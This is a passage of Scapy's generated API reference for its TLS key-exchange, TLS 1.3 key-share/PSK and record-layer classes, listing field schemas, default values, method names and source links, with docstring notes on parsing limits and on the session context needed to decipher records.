post_dissection(r)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L381-L385]

	




	
register_pubkey(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	








	
class scapy.layers.tls.keyexchange.ServerECDHExplicitChar2Params(_pkt, /, *, curve_type=2, m=None, basis_type=None, basis=<ECTrinomialBasis  |>, curve=<ECCurvePkt  |>, baselen=None, base=b'', order=None, cofactor=None, pointlen=None, point=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L524-L553]

	Bases: _GenericTLSSessionInheritance

We provide parsing abilities for Char2Params, but there is no
support from the cryptography library, hence no context operations.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   CURVE TYPE  |               M               |   BASIS TYPE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BASIS             |             CURVE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    BASELEN    |              BASE             |     ORDER     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    COFACTOR   |    POINTLEN   |             POINT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ServerECDHExplicitChar2Params                


ServerECDHExplicitChar2Params fields






	curve_type

	ByteEnumField

	2



	m

	ShortField

	None



	basis_type

	_ECBasisTypeField

	None



	basis

	_ECBasisField

	<ECTrinomialBasis  |>



	curve

	PacketField

	<ECCurvePkt  |>



	baselen

	FieldLenField

	None



	base

	StrLenField

	b''



	order

	ByteField

	None



	cofactor

	ByteField

	None



	pointlen

	FieldLenField

	None



	point

	StrLenField

	b''











	
fill_missing()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L548-L550]

	




	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L552-L553]

	








	
class scapy.layers.tls.keyexchange.ServerECDHExplicitPrimeParams(_pkt, /, *, curve_type=1, plen=None, p=b'', curve=None, baselen=None, base=b'', orderlen=None, order=b'', cofactorlen=None, cofactor=b'', pointlen=None, point=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L486-L521]

	Bases: _GenericTLSSessionInheritance

We provide parsing abilities for ExplicitPrimeParams, but there is no
support from the cryptography library, hence no context operations.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   CURVE TYPE  |      PLEN     |               P               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CURVE             |    BASELEN    |      BASE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |    ORDERLEN   |             ORDER             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  COFACTORLEN  |            COFACTOR           |    POINTLEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             POINT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ServerECDHExplicitPrimeParams                


ServerECDHExplicitPrimeParams fields






	curve_type

	ByteEnumField

	1



	plen

	FieldLenField

	None



	p

	StrLenField

	b''



	curve

	PacketField

	None



	baselen

	FieldLenField

	None



	base

	StrLenField

	b''



	orderlen

	FieldLenField

	None



	order

	StrLenField

	b''



	cofactorlen

	FieldLenField

	None



	cofactor

	StrLenField

	b''



	pointlen

	FieldLenField

	None



	point

	StrLenField

	b''











	
fill_missing()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L512-L518]

	Note that if it is not set by the user, the cofactor will always
be 1. It is true for most, but not all, TLS elliptic curves.






	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L520-L521]

	








	
class scapy.layers.tls.keyexchange.ServerECDHNamedCurveParams(_pkt, /, *, curve_type=3, named_curve=None, pointlen=None, point=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L556-L626]

	Bases: _GenericTLSSessionInheritance


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   CURVE TYPE  |          NAMED CURVE          |    POINTLEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             POINT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ServerECDHNamedCurveParams                  


ServerECDHNamedCurveParams fields






	curve_type

	ByteEnumField

	3



	named_curve

	ShortEnumField

	None



	pointlen

	FieldLenField

	None



	point

	StrLenField

	None











	
fill_missing(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L625-L626]

	




	
post_dissection(r)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L619-L623]

	




	
register_pubkey(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	








	
class scapy.layers.tls.keyexchange.ServerPSKParams(_pkt, /, *, psk_identity_hint_len=None, psk_identity_hint=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L696-L716]

	Bases: Packet

XXX We provide some parsing abilities for ServerPSKParams, but the
context operations have not been implemented yet. See RFC 4279.
Note that we do not cover the (EC)DHE_PSK key exchange,
which should contain a Server*DHParams after ‘psk_identity_hint’.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PSK IDENTITY HINT LEN     |       PSK IDENTITY HINT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ServerPSKParams                       


ServerPSKParams fields






	psk_identity_hint_len

	FieldLenField

	None



	psk_identity_hint

	StrLenField

	b''











	
fill_missing()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L709-L710]

	




	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L715-L716]

	




	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L712-L713]

	








	
class scapy.layers.tls.keyexchange.ServerRSAParams(_pkt, /, *, rsamodlen=None, rsamod=b'', rsaexplen=None, rsaexp=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L643-L691]

	Bases: _GenericTLSSessionInheritance

Defined for RSA_EXPORT kx : it enables servers to share RSA keys shorter
than their principal {>512}-bit key, when it is not allowed for kx.

This should not appear in standard RSA kx negotiation, as the key
has already been advertised in the Certificate message.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RSAMODLEN           |             RSAMOD            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RSAEXPLEN           |             RSAEXP            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ServerRSAParams                       


ServerRSAParams fields






	rsamodlen

	FieldLenField

	None



	rsamod

	StrLenField

	b''



	rsaexplen

	FieldLenField

	None



	rsaexp

	StrLenField

	b''











	
fill_missing(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L690-L691]

	




	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L684-L688]

	




	
register_pubkey(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	








	
class scapy.layers.tls.keyexchange.SigAndHashAlgField(name: str, default: I | None, enum: Dict[I, str] | Dict[str, I] | List[str] | DADict[I, str] | Type[Enum] | Tuple[Callable[[I], str], Callable[[str], I]], fmt: str = 'H')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L98-L102]

	Bases: EnumField

Used in _TLSSignature.


	
addfield()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L88-L94]

	




	
getfield()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L88-L94]

	




	
phantom_value = None

	








	
class scapy.layers.tls.keyexchange.SigAndHashAlgsField(name: str, default: List[AnyField] | None, field: AnyField, length_from: Callable[[Packet], int] | None = None, count_from: Callable[[Packet], int] | None = None, max_count: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L112-L116]

	Bases: FieldListField

Used in TLS_Ext_SignatureAlgorithms and TLSCertificateResquest.


	
addfield()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L88-L94]

	




	
getfield()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L88-L94]

	




	
phantom_value = []

	








	
class scapy.layers.tls.keyexchange.SigAndHashAlgsLenField(name: str, default: Optional[Any], length_of: Optional[str] = None, fmt: str = 'H', count_of: Optional[str] = None, adjust: Callable[[Packet, int], int] = <function FieldLenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L105-L109]

	Bases: FieldLenField

Used in TLS_Ext_SignatureAlgorithms and TLSCertificateResquest.


	
addfield()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L88-L94]

	




	
getfield()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L88-L94]

	




	
phantom_value = 0

	








	
class scapy.layers.tls.keyexchange.SigLenField(name: str, default: Optional[Any], length_of: Optional[str] = None, fmt: str = 'H', count_of: Optional[str] = None, adjust: Callable[[Packet, int], int] = <function FieldLenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L119-L133]

	Bases: FieldLenField

There is a trick for SSLv2, which uses implicit lengths…


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L128-L133]

	With SSLv2 you will never be able to add a sig_len.






	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L122-L126]

	








	
class scapy.layers.tls.keyexchange.SigValField(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L136-L149]

	Bases: StrLenField

There is a trick for SSLv2, which uses implicit lengths…


	
getfield(pkt, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L139-L149]

	








	
scapy.layers.tls.keyexchange.phantom_decorate(f, get_or_add)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L82-L95]

	Decorator for version-dependent fields.
If get_or_add is True (means get), we return s, self.phantom_value.
If it is False (means add), we return s.






	
scapy.layers.tls.keyexchange.phantom_mode(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L68-L79]

	We expect this. If tls_version is not set, this means we did not process
any complete ClientHello, so we’re most probably reading/building a
signature_algorithms extension, hence we cannot be in phantom_mode.
However, if the tls_version has been set, we test for TLS 1.2.








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.keyexchange_tls13

TLS 1.3 key exchange logic.


	
class scapy.layers.tls.keyexchange_tls13.KeyShareEntry(_pkt, /, *, group=None, kxlen=None, key_exchange=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L42-L108]

	Bases: Packet

When building from scratch, we create a DH private key, and when
dissecting, we create a DH public key. Default group is secp256r1.


	
aliastypes

	




	
create_privkey(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
do_build()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L59-L67]

	We need this hack, else ‘self’ would be replaced by __iter__.next().






	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L107-L108]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             GROUP             |             KXLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          KEY EXCHANGE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. KeyShareEntry                        


KeyShareEntry fields






	group

	ShortEnumField

	None



	kxlen

	FieldLenField

	None



	key_exchange

	XStrLenField

	b''











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L77-L92]

	




	
post_dissection(r)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L101-L105]

	




	
privkey

	




	
pubkey

	




	
register_pubkey(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	








	
class scapy.layers.tls.keyexchange_tls13.PSKBinderEntry(_pkt, /, *, binder_len=None, binder=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L252-L260]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L259-L260]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   BINDER LEN  |             BINDER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PSKBinderEntry                        


PSKBinderEntry fields






	binder_len

	FieldLenField

	None



	binder

	StrLenField

	b''















	
class scapy.layers.tls.keyexchange_tls13.PSKIdentity(_pkt, /, *, identity_len=None, identity=b'', obfuscated_ticket_age=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L240-L249]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L248-L249]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          IDENTITY LEN         |            IDENTITY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     OBFUSCATED TICKET AGE                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. PSKIdentity                         


PSKIdentity fields






	identity_len

	FieldLenField

	None



	identity

	TicketField

	b''



	obfuscated_ticket_age

	IntField

	0















	
class scapy.layers.tls.keyexchange_tls13.TLS_Ext_KeyShare_CH(_pkt, /, *, type=51, len=None, client_shares_len=None, client_shares=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L111-L142]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CLIENT SHARES LEN       |         CLIENT SHARES         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TLS_Ext_KeyShare_CH                     


TLS_Ext_KeyShare_CH fields






	type

	ShortEnumField

	51



	len

	ShortField

	None



	client_shares_len

	FieldLenField

	None



	client_shares

	PacketListField

	[]











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L120-L130]

	




	
post_dissection(r)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L132-L142]

	








	
class scapy.layers.tls.keyexchange_tls13.TLS_Ext_KeyShare_HRR(_pkt, /, *, type=51, len=None, selected_group=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L145-L149]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SELECTED GROUP        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TLS_Ext_KeyShare_HRR                     


TLS_Ext_KeyShare_HRR fields






	type

	ShortEnumField

	51



	len

	ShortField

	None



	selected_group

	ShortEnumField

	None















	
class scapy.layers.tls.keyexchange_tls13.TLS_Ext_KeyShare_SH(_pkt, /, *, type=51, len=None, server_share=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L152-L213]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SERVER SHARE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TLS_Ext_KeyShare_SH                     


TLS_Ext_KeyShare_SH fields






	type

	ShortEnumField

	51



	len

	ShortField

	None



	server_share

	PacketField

	None











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L158-L179]

	




	
post_dissection(r)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L181-L213]

	








	
class scapy.layers.tls.keyexchange_tls13.TLS_Ext_PreSharedKey_CH(_pkt, /, *, type=41, len=None, identities_len=None, identities=[], binders_len=None, binders=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L263-L275]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         IDENTITIES LEN        |           IDENTITIES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          BINDERS LEN          |            BINDERS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. TLS_Ext_PreSharedKey_CH                   


TLS_Ext_PreSharedKey_CH fields






	type

	ShortEnumField

	41



	len

	ShortField

	None



	identities_len

	FieldLenField

	None



	identities

	PacketListField

	[]



	binders_len

	FieldLenField

	None



	binders

	PacketListField

	[]















	
class scapy.layers.tls.keyexchange_tls13.TLS_Ext_PreSharedKey_SH(_pkt, /, *, type=41, len=None, selected_identity=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L278-L282]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       SELECTED IDENTITY       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. TLS_Ext_PreSharedKey_SH                   


TLS_Ext_PreSharedKey_SH fields






	type

	ShortEnumField

	41



	len

	ShortField

	None



	selected_identity

	ShortField

	None















	
class scapy.layers.tls.keyexchange_tls13.Ticket(_pkt, /, *, key_name=None, iv=None, encstatelen=None, encstate=b'', mac=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L222-L229]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            KEY NAME                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               IV                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ENCSTATELEN          |            ENCSTATE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MAC                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. Ticket                            


Ticket fields






	key_name

	StrFixedLenField

	None



	iv

	StrFixedLenField

	None



	encstatelen

	FieldLenField

	None



	encstate

	StrLenField

	b''



	mac

	StrFixedLenField

	None















	
class scapy.layers.tls.keyexchange_tls13.TicketField(name: str, default: Packet, cls: Union[Callable[[bytes], Packet], Type[Packet]]  # noqa: E501, length_from: Optional[Callable[[Packet], int]]  # noqa: E501 = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L232-L237]

	Bases: PacketLenField


	
m2i(pkt, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange_tls13.py#L233-L237]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.record

Common TLS fields & bindings.

This module covers the record layer, along with the ChangeCipherSpec, Alert and
ApplicationData submessages. For the Handshake type, see tls_handshake.py.

See the TLS class documentation for more information.


	
class scapy.layers.tls.record.TLS(_pkt, /, *, type=None, version=None, len=None, iv=None, msg=[], mac=None, pad=None, padlen=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L234-L751]

	Bases: _GenericTLSSessionInheritance

The generic TLS Record message, based on section 6.2 of RFC 5246.

When reading a TLS message, we try to parse as much as we can.
In .pre_dissect(), according to the type of the current cipher algorithm
(self.tls_session.rcs.cipher.type), we extract the ‘iv’, ‘mac’, ‘pad’ and
‘padlen’. Some of these fields may remain blank: for instance, when using
a stream cipher, there is no IV nor any padding. The ‘len’ should always
hold the length of the ciphered message; for the plaintext version, you
should rely on the additional ‘deciphered_len’ attribute.

XXX Fix ‘deciphered_len’ which should not be defined when failing with
AEAD decryption. This is related to the ‘decryption_success’ below.
Also, follow this behaviour in record_sslv2.py and record_tls13.py

Once we have isolated the ciphered message aggregate (which should be one
or several TLS messages of the same type), we try to decipher it. Either we
succeed and store the clear data in ‘msg’, or we graciously fail with a
CipherError and store the ciphered data in ‘msg’.

Unless the user manually provides the session secrets through the passing
of a ‘tls_session’, obviously the ciphered messages will not be deciphered.
Indeed, the need for a proper context may also present itself when trying
to parse clear handshake messages.

For instance, suppose you sniffed the beginning of a DHE-RSA negotiation:

t1 = TLS(<client_hello>)
t2 = TLS(<server_hello | certificate | server_key_exchange>)
t3 = TLS(<server_hello | certificate | server_key_exchange>,
         tls_session=t1.tls_session)





(Note that to do things properly, here ‘t1.tls_session’ should actually be
‘t1.tls_session.mirror()’. See session.py for explanations.)

As no context was passed to t2, neither was any client_random. Hence Scapy
will not be able to verify the signature of the server_key_exchange inside
t2. However, it should be able to do so for t3, thanks to the tls_session.
The consequence of not having a complete TLS context is even more obvious
when trying to parse ciphered content, as we described before.

Thus, in order to parse TLS-protected communications with Scapy:
_either Scapy reads every message from one side of the TLS connection and
builds every message from the other side (as such, it should know the
secrets needed for the generation of the pre_master_secret), while passing
the same tls_session context (this is how our automaton.py mostly works);
_or, if Scapy did not build any TLS message, it has to create a TLS context
and feed it with secrets retrieved by whatever technique. Note that the
knowing the private key of the server certificate will not be sufficient
if a PFS ciphersuite was used. However, if you got a master_secret somehow,
use it with tls_session.(w|r)cs.derive_keys() and leave the rest to Scapy.

When building a TLS message with raw_stateful, we expect the tls_session to
have the right parameters for ciphering. Else, .post_build() might fail.


	
aliastypes

	




	
deciphered_len

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L305-L350]

	If the TLS class was called on raw SSLv2 data, we want to return an
SSLv2 record instance. We acknowledge the risk of SSLv2 packets with a
msglen of 0x1403, 0x1503, 0x1603 or 0x1703 which will never be casted
as SSLv2 records but TLS ones instead, but hey, we can’t be held
responsible for low-minded extensibility choices.






	
do_dissect_payload(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L569-L595]

	Try to dissect the following data as a TLS message.
Note that overloading .guess_payload_class() would not be enough,
as the TLS session to be used would get lost.






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
